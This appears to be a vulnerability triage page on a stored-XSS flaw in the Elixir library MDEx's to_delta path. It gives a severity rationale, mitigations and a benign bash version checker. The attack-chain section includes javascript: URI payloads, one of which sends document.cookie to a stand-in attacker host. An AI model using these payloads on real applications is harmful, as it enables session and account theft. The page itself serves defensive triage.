A Markdown pipeline that strips dangerous HTML but forgets URLs are payloads too
MDEx is a popular Elixir Markdown library (built on comrak + ammonia + lumis) used heavily in Phoenix apps. The MDEx.to_delta/2 path converts Markdown into the Quill Delta JSON format used by the Quill rich-text editor. Inside MDEx.DeltaConverter.default_convert_node/3, the URL of a link, wikilink, or image node is copied straight from the parsed Markdown into the Delta link or image attribute with no scheme allowlist and no normalization. A user-supplied [click](javascript:alert(document.cookie)) survives intact. When that Delta is later rendered to HTML by something like quill-delta-to-html or the Quill client, the attribute becomes an <a href> or <img src> and the javascript: URI fires in any viewer's browser. Affected: mdex 0.8.3 through 0.13.1; fixed in 0.13.2.
No vendor CVSS was published, which is appropriate — the impact is heavily dependent on what the host application does with the Delta output. The HTML sanitizer (ammonia) that protects to_html/1 is not in the path here. Calling this *just* an XSS undersells it for apps that store-and-render attacker Markdown across users (forums, comments, wikis, ticket systems) and oversells it for apps that only render Markdown the author wrote for themselves. Treating it as a real MEDIUM with situational HIGH potential is the honest read.
4 steps from start to impact.
Attacker submits Markdown with a javascript: URI
javascript: scheme. Example payload: [click](javascript:fetch('//atk/?c='+document.cookie)) or .- App accepts Markdown input from untrusted users
- App stores/renders Markdown across trust boundaries
- Apps that only render an author's own Markdown (single-tenant notebooks) have no cross-user impact
- Markdown editors that preview client-side may catch obvious payloads
MDEx parses and converts to Quill Delta
MDEx.to_delta/2. DeltaConverter.default_convert_node/3 copies the URL string into the Delta op's attributes.link or attributes.image field unchanged. No URL parsing, no scheme allowlist, no href rewriting.- Application uses
to_delta/2rather thanto_html/1 - mdex version in [0.8.3, 0.13.2)
- Most existing MDEx users started on the HTML path; Delta usage is a newer feature
- If the app wraps
to_deltawith its own URL filter the payload is neutralized
MDEx.to_delta is reliable; SBOM/hex.pm dep scanners (Dependabot, Renovate, mix_audit) will pick up the GHSA once publishedDelta is rendered to HTML by downstream consumer
quill-delta-to-html, custom server-side renderers, or the Quill client itself emits <a href="javascript:..."> or <img src="javascript:...">. Neither library performs scheme filtering by default — Quill assumes the producer cleaned input.- A downstream renderer that does not strip dangerous URI schemes
- Browser context where the link/image is presented to a different user
- Apps that pipe Delta back through a server-side HTML sanitizer (DOMPurify, sanitize-html with default config) will strip
javascript:hrefs - A strict
Content-Security-Policywithdefault-src 'self'and no inline event handlers blocks most exfil paths but does NOT blockjavascript:href navigation; CSPscript-srcdoes not coverjavascript:URIs unlessunsafe-inlineis forbidden AND the browser honors the relevant directive
Victim clicks the link / loads the image, JS executes in their session
document.cookie, CSRF token exfil, account takeover, internal SSRF via fetch, phishing redirect. Scope is bounded by the victim's privileges in the app.- Victim with an active session interacts with the rendered content
- SameSite cookies do not block the relevant CSRF action
HttpOnlycookies blunt cookie theft (but not token-from-DOM theft or DOM-mediated CSRF)- Click-required (anchor) payloads need user interaction;
<img>payloads do not butjavascript:inimg srcis no-ops in modern browsers in many cases
The supporting signals.
| In-the-wild exploitation | None observed. Library is niche and the vulnerable code path (to_delta) is relatively new. |
|---|---|
| Proof-of-concept | PoC implicit in the advisory text: [click](javascript:alert(document.cookie)) round-trips through MDEx.to_delta/2. No public weaponized repo at time of writing. |
| EPSS | 0.00405 (≈0.4% probability of exploitation in next 30 days) — bottom-quartile signal. |
| KEV status | Not listed. |
| CVSS vector | No vendor vector published. A reasonable reconstruction: AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N → ~6.1 base (stored-XSS pattern). Noisgate scores 5.4 after deployment-base friction. |
| Affected versions | mdex 0.8.3 ≤ v < 0.13.2 (Hex package mdex). |
| Fixed version | 0.13.2 — adds scheme allowlist in DeltaConverter. |
| Exposure population | Hex.pm downloads for mdex are modest (Phoenix-ecosystem niche); the to_delta API is a small subset of users. Conservative estimate: low single-digit thousands of production deployments touch this path. |
| Disclosed | 2026-06-29 via Erlang Ecosystem Foundation CNA / GitHub Security Advisory. |
| Reporter | Erlang Ecosystem Foundation CNA coordinated disclosure; advisory authored against leandrocp/mdex repo. |
noisgate verdict.
The decisive factor is path narrowness: only apps that call MDEx.to_delta/2 AND feed the Delta to a non-sanitizing renderer AND accept Markdown across trust boundaries are exploitable. That tri-condition keeps blast radius well under what a generic stored-XSS in a Markdown library would imply.
Why this verdict
- Stored-XSS class with user-interaction caveat:
javascript:in an<a href>needs a click; in<img src>modern browsers usually no-op. That tempers the worst-case from automatic compromise to click-or-script-mediated compromise. - Path-gated exposure: the HTML pipeline (
to_html/1) is protected byammonia. Only theto_delta/2consumers are at risk, which is a minority of MDEx users. - Renderer-dependent payoff: if the downstream Delta-to-HTML step (or Quill client config) strips dangerous schemes, the bug is inert. Many production Quill integrations do filter.
- Role multiplier — public forum / wiki / ticket app: chain succeeds; blast radius is per-session account takeover for any user who views attacker content. Tenant-scoped, not fleet-scoped.
- Role multiplier — admin-facing CMS where authors are trusted: chain technically succeeds but trust boundary already crossed; impact is amplified to admin-session theft only if a low-priv author posts and an admin previews. Plausible but narrow.
- Role multiplier — single-user notebook / personal Markdown renderer: chain does not yield cross-user impact; self-XSS only.
- No KEV, EPSS 0.4%: no signal of active interest. Niche Elixir ecosystem keeps mass-scan attention low.
- Friction adjustment downward: requires user-supplied Markdown AND
to_deltaAPI AND permissive downstream renderer AND victim interaction. Multiple compounding gates pull this off HIGH.
Why not higher?
Not HIGH because no high-value-role component is in scope — MDEx is a content-rendering library, not identity/PKI/hypervisor/EDR. The worst plausible outcome is per-tenant account takeover via stored-XSS in apps that opted into the Delta path, not fleet or domain compromise. KEV-absent and EPSS bottom-quartile reinforce that the wild-exploitation pressure is low.
Why not lower?
Not LOW because the bug is a real injection of attacker-controlled javascript: URIs into a rendering pipeline, and the affected-version window is wide (5+ minor releases). Apps that use to_delta with Quill in a multi-user context are genuinely exploitable today with a copy-paste payload, which deserves more than backlog hygiene.
What to do — in priority order.
- Upgrade
mdexto 0.13.2 inmix.exs— The fix adds the scheme allowlist inDeltaConverter. For a MEDIUM verdict, deploy within the noisgate remediation SLA of 365 days, but if you useto_delta/2in a multi-user context treat as HIGH-equivalent and ship in ≤30 days. - Add a URL-scheme allowlist between
MDEx.to_delta/2and your renderer — Post-process the Delta ops and reject any op whoseattributes.linkorattributes.imagedoes not match^(https?|mailto|tel|/|#). Cheap, reliable, defense-in-depth even after upgrading. - Pin a Delta-to-HTML renderer that strips dangerous schemes — Configure
quill-delta-to-htmlor equivalent with a customlinkRel/URL filter, or post-process emitted HTML with DOMPurify default config. Eliminates the bug at the render step regardless of producer. - Tighten CSP —
script-src 'self', nounsafe-inline, plus<meta http-equiv="Content-Security-Policy" content="navigate-to 'self'">where supported. Blunts exfil even on click-firedjavascript:URIs. - Audit for
MDEx.to_deltacallsites —rg "MDEx\.to_delta|MDEx\.DeltaConverter" lib/ apps/— if you find none, this CVE is informational only for your fleet and you can drop priority. If you find any, treat each callsite as an exploitable surface until proven otherwise.
ammoniaHTML sanitizer — it is in theto_htmlpath, NOTto_delta. Trustingammoniafor Delta output is the exact mistake this bug exploits.- WAF rules looking for
<script>— the payload is ajavascript:URI scheme, not a script tag, and Markdown bodies arrive base64'd or in JSON requests that most WAFs do not parse. HttpOnlycookies — they blockdocument.cookietheft but not in-DOM token theft or DOM-mediated CSRF, which are equally damaging.- Disabling JavaScript in the editor preview — server-stored Delta still hits the victim's browser at render time.
Crowdsourced verification payload.
Run on any host with the Elixir project checked out (CI runner, build server, or developer workstation). Invoke as ./check-mdex.sh /path/to/phoenix-app. Needs read access to mix.lock and the source tree; no privileges.
#!/usr/bin/env bash
# noisgate: CVE-2026-53427 — mdex DeltaConverter XSS via javascript: URIs
# Usage: ./check-mdex.sh <path-to-elixir-project>
set -u
PROJ="${1:-.}"
LOCK="$PROJ/mix.lock"
if [[ ! -f "$LOCK" ]]; then
echo "UNKNOWN: $LOCK not found"
exit 2
fi
# Extract pinned mdex version from mix.lock
VER=$(grep -E '"mdex"' "$LOCK" | grep -oE '"[0-9]+\.[0-9]+\.[0-9]+"' | head -1 | tr -d '"')
if [[ -z "$VER" ]]; then
echo "UNKNOWN: mdex not present in mix.lock — CVE not applicable"
exit 0
fi
# semver compare: vulnerable iff 0.8.3 <= VER < 0.13.2
verlte() { [[ "$(printf '%s\n%s' "$1" "$2" | sort -V | head -1)" == "$1" ]]; }
verlt() { [[ "$1" != "$2" ]] && verlte "$1" "$2"; }
VULN=0
if verlte "0.8.3" "$VER" && verlt "$VER" "0.13.2"; then VULN=1; fi
# Bonus: detect actual usage of the vulnerable API
USAGE=$(grep -rEn 'MDEx\.to_delta|MDEx\.DeltaConverter' "$PROJ"/lib "$PROJ"/apps 2>/dev/null | wc -l | tr -d ' ')
echo "mdex version: $VER"
echo "to_delta callsites found: $USAGE"
if [[ "$VULN" -eq 1 && "$USAGE" -gt 0 ]]; then
echo "VULNERABLE: mdex $VER is in the affected range AND to_delta is used"
exit 1
elif [[ "$VULN" -eq 1 ]]; then
echo "VULNERABLE: mdex $VER is in the affected range (to_delta usage not detected — verify dynamic callers)"
exit 1
else
echo "PATCHED: mdex $VER is outside the affected range (fix in 0.13.2)"
exit 0
fi
If you remember one thing.
rg "MDEx\.to_delta" across every Elixir/Phoenix repo in your portfolio. If zero hits, you can document this as not-applicable and move on. If you find callsites in any multi-user context (comments, wikis, tickets, chat), treat this as a HIGH-equivalent for those services and ship mdex 0.13.2 plus a downstream scheme-allowlist guard within the noisgate mitigation SLA window — for MEDIUM there is no mitigation SLA, so go straight to the noisgate remediation SLA of ≤365 days for the rest of the fleet, but prioritize the multi-user surfaces into the 30-day bucket. No KEV, EPSS 0.4%, so this is a planned-change job, not a fire-drill.Sources
What defenders are saying.
Crowdsourced verification outputs.
Results submitted by users who ran the verification payload against their environment.